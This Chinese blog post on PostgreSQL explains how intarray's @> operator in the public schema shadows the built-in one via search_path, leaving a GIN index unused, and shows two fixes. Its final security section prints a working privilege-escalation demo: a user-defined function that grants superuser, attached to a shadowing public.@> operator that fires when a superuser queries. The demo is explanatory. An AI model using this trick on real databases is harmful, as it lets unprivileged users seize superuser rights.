标签
PostgreSQL , intarray , ops , operator , OPERATOR , 操作符路径 , search_path , 优先级
背景
操作符是数据库最常用的要素之一，一个SQL语句中总是会出现它的影子。
select * from tbl where id=1;
这里的=就是操作符。
实际上操作符的底层还是函数，操作符是函数的综合体。
1、PostgreSQL不仅仅允许用户自定义函数，也允许我们自定义操作符。具体见创建操作符的语法。
https://www.postgresql.org/docs/11/static/sql-createoperator.html
2、PostgreSQL还允许用户自定义索引接口，因此操作符能否使用索引，能使用什么索引接口，这些都可以定义。并且也有对应关系。
https://www.postgresql.org/docs/11/static/sql-createopclass.html
3、PostgreSQL还有一个namespace(schema)的概念，也就是说用户自定义的对象，放在namespace里面。那么我们调用函数，使用操作符时，用的是哪个schema下面的函数与操作符呢？
这个则取决于数据库的search_path参数，有默认值。
postgres=# show search_path ;
search_path
-----------------
"$user", public
(1 row)
通常系统内置的操作符、函数等都在pg_catalog这个schema下面，它在默认路径的末端。
问题来了
在使用过程中，如果我们创建了与系统内置操作符同名的操作符，并且被优先搜索到（例如放在了user或public下面），可能出现什么情况呢？
思考他们的关系
op
udf
opclass
index
下面我们来看个例子。
例子, 数组包含查询、透视
我们这里有个例子，是演示数组包含查询、透视。通过gin或rum索引来进行加速。
然而演示过程中，出现了“诡异”的问题。怎么都不走索引了？
1、生成随机数组
create or replace function gen_rand_arr(int,int) returns int[] as $$
select array(select (random()*$1)::int from generate_series(1,$2));
$$ language sql strict;
2、创建测试表
drop table t1;
create table t1 (id int, c1 int, arr int[]);
3、写入1000万数据
insert into t1 select id, random()*100, gen_rand_arr(100,10)
from generate_series(1,10000000) t(id);
4、创建数组索引（分别创建rum与gin索引接口的索引，只为测试目的）
create index idx_t1_1 on t1 using rum (arr);
create index idx_t1_2 on t1 using gin (arr);
5、查看样本数据
postgres=# select * from t1 limit 10;
id | c1 | arr
----+----+---------------------------------
1 | 1 | {64,22,99,58,5,0,75,50,15,100}
2 | 83 | {8,81,82,70,86,92,26,4,69,11}
3 | 61 | {9,75,61,82,65,54,100,44,54,64}
4 | 66 | {53,22,71,54,97,21,69,97,4,77}
5 | 78 | {86,47,64,78,72,68,47,83,28,57}
6 | 58 | {89,38,23,43,38,67,97,2,33,50}
7 | 24 | {4,4,21,25,73,18,29,49,95,15}
8 | 96 | {59,93,68,27,40,52,55,97,10,44}
9 | 35 | {33,86,73,100,83,76,32,34,0,36}
10 | 38 | {21,61,10,39,91,59,34,6,55,93}
(10 rows)
6、使用数组包含查询，检查执行计划
postgres=# explain select count(*) from t1 where arr @> array[1,2];
QUERY PLAN
-----------------------------------------------------------------
Aggregate (cost=248675.25..248675.26 rows=1 width=8)
-> Seq Scan on t1 (cost=0.00..248457.00 rows=87300 width=0)
Filter: (arr @> '{1,2}'::integer[])
(3 rows)
未走索引问题分析
为什么它没走索引呢？
原因是我们用到了一个非系统操作符@>，因为我们之前创建了intarray插件，这个插件包含了@>操作符，并创建在public下面。
这意味着，我们在使用@>时，调用了public下面的@>，并且这个@>操作符有它自己的ops，并不是gin默认的ops（系统中gin默认的是系统的gin ops）。
这就解开谜团了：
1、我们调用了intarray插件在public下新增的@>，并不是系统pg_catalog下的@>。
postgres=# \do @>
List of operators
Schema | Name | Left arg type | Right arg type | Result type | Description
------------+------+---------------+----------------+-------------+-------------
pg_catalog | @> | aclitem[] | aclitem | boolean | contains
pg_catalog | @> | anyarray | anyarray | boolean | contains -- 系统的
pg_catalog | @> | anyrange | anyelement | boolean | contains
pg_catalog | @> | anyrange | anyrange | boolean | contains
pg_catalog | @> | box | box | boolean | contains
pg_catalog | @> | box | point | boolean | contains
pg_catalog | @> | circle | circle | boolean | contains
pg_catalog | @> | circle | point | boolean | contains
pg_catalog | @> | jsonb | jsonb | boolean | contains
pg_catalog | @> | path | point | boolean | contains
pg_catalog | @> | polygon | point | boolean | contains
pg_catalog | @> | polygon | polygon | boolean | contains
pg_catalog | @> | tsquery | tsquery | boolean | contains
public | @> | integer[] | integer[] | boolean | contains -- intarray新加的
(14 rows)
contrib/intarray/intarray--1.2.sql
CREATE OPERATOR @> (
LEFTARG = _int4,
RIGHTARG = _int4,
PROCEDURE = _int_contains,
COMMUTATOR = '<@',
RESTRICT = _int_contains_sel,
JOIN = _int_contains_joinsel
);
2、这个@>，它本身是能走索引，但是它的OPS并不是系统的gin 索引默认的ops，而是新加的gin__int_ops这个OPS。
contrib/intarray/intarray--1.2.sql
CREATE OPERATOR CLASS gin__int_ops
FOR TYPE _int4 USING gin
AS
OPERATOR 3 &&,
OPERATOR 6 = (anyarray, anyarray),
OPERATOR 7 @>,
OPERATOR 8 <@,
OPERATOR 13 @,
OPERATOR 14 ~,
OPERATOR 20 @@ (_int4, query_int),
FUNCTION 1 btint4cmp (int4, int4),
FUNCTION 2 ginarrayextract (anyarray, internal, internal),
FUNCTION 3 ginint4_queryextract (_int4, internal, int2, internal, internal, internal, internal),
FUNCTION 4 ginint4_consistent (internal, int2, _int4, int4, internal, internal, internal, internal),
STORAGE int4;
3、而我们创建的索引，用的是系统默认的GIN_OPS，所以这就导致了我们上面例子的问题。他们没有对应起来。
怎么解决这个问题呢？
完整的操作符调用语法
既然数据库有SCHEMA的概念，并且我们自定义的OP在不同的SCHEMA下可以重名，那么如果我们需要调用某个SCHEMA的OP怎么调用呢？
默认情况下，搜索OP，包括UDF，都是通过search_path这个参数决定的，前面讲过了。所以我们在public下优先搜到了intarray创建的@>操作符，导致了前面不走索引的问题。
1、完整语法
expression operator expression (binary infix operator)
operator expression (unary prefix operator)
expression operator (unary postfix operator)
OPERATOR(schema.operatorname)
上面的情况，
1、方法1，我们通过改写SQL，就能用上索引，即，告诉数据库，我们需要调用哪个schema下面的op (与索引的ops对应起来即可).
postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2];
QUERY PLAN
-----------------------------------------------------------------
Aggregate (cost=248675.25..248675.26 rows=1 width=8)
-> Seq Scan on t1 (cost=0.00..248457.00 rows=87300 width=0)
Filter: (arr @> '{1,2}'::integer[])
(3 rows)
postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2];
QUERY PLAN
-----------------------------------------------------------------------------------
Aggregate (cost=68581.20..68581.21 rows=1 width=8)
-> Bitmap Heap Scan on t1 (cost=986.77..68362.95 rows=87300 width=0)
Recheck Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])
-> Bitmap Index Scan on idx_t1_3 (cost=0.00..964.95 rows=87300 width=0)
Index Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])
(5 rows)
2、方法2，创建索引时，使用OP对应的OPS。
把原来的索引删掉，改成下面，或者你保留两个索引接口也可以（当然通常我们只需要一个，只要调用的OP与INDEX内的OPS对应即可）
drop index idx_t1_3;
create index idx_t1_3 on t1 using gin (arr gin__int_ops);
现在反过来了，默认的public的OP走了索引。
postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2];
QUERY PLAN
-----------------------------------------------------------------------------------
Aggregate (cost=68581.20..68581.21 rows=1 width=8)
-> Bitmap Heap Scan on t1 (cost=986.77..68362.95 rows=87300 width=0)
Recheck Cond: (arr @> '{1,2}'::integer[])
-> Bitmap Index Scan on idx_t1_3 (cost=0.00..964.95 rows=87300 width=0)
Index Cond: (arr @> '{1,2}'::integer[])
(5 rows)
postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2];
QUERY PLAN
------------------------------------------------------------------
Aggregate (cost=248675.25..248675.26 rows=1 width=8)
-> Seq Scan on t1 (cost=0.00..248457.00 rows=87300 width=0)
Filter: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[])
(3 rows)
安全风险注意
1、只要有权限，用户可以在public下面定义一堆与pg_catalog下面重名的op，当超级用户执行一些SQL时，（如果设置了search_path中包含public，）可能优先使用这些用户创建的public.OP，从而导致安全问题。
例如普通用户在函数中提权。
例子:
普通用户创建函数，提权。
postgres=> create or replace function hack(_int4,_int4) returns boolean as $$
declare
begin
alter role test superuser; raise notice 'hacked';
return $1 operator(pg_catalog.@>) $2;
end;
$$ language plpgsql strict security invoker;
CREATE FUNCTION
普通用户创建pg_catalog里面同名的OP到public下面
postgres=> create operator public.@> (procedure = hack, leftarg='_int4', rightarg='_int4');
CREATE OPERATOR
超级用户调用这个OP，导致提权。
postgres=# select * from t1 where arr @> array[1,2] limit 1;
NOTICE: hacked
select 1 where array[1,2] @> array[1,2];
查看提权效果。
postgres=# \du+ test
List of roles
Role name | Attributes | Member of | Description
-----------+------------+-----------+-------------
test | Superuser | {} |
NOW, test变成超级用户了。
小结
1、op, index, ops 最好对应起来，否则使用时很容易出现本文提到的问题。怎么就不走索引了？
2、如果需要自定义OP，尽量不要与系统的OP重名。
3、安全需要考虑，普通用户可下FUNCTION，OP与系统FUNCTION,OP重名陷阱，由于public的路径优先级高于pg_catalog，所以超级用户调用这个操作符时，可导致提权。
参考
https://www.postgresql.org/docs/11/static/sql-expressions.html#SQL-EXPRESSIONS-OPERATOR-CALLS
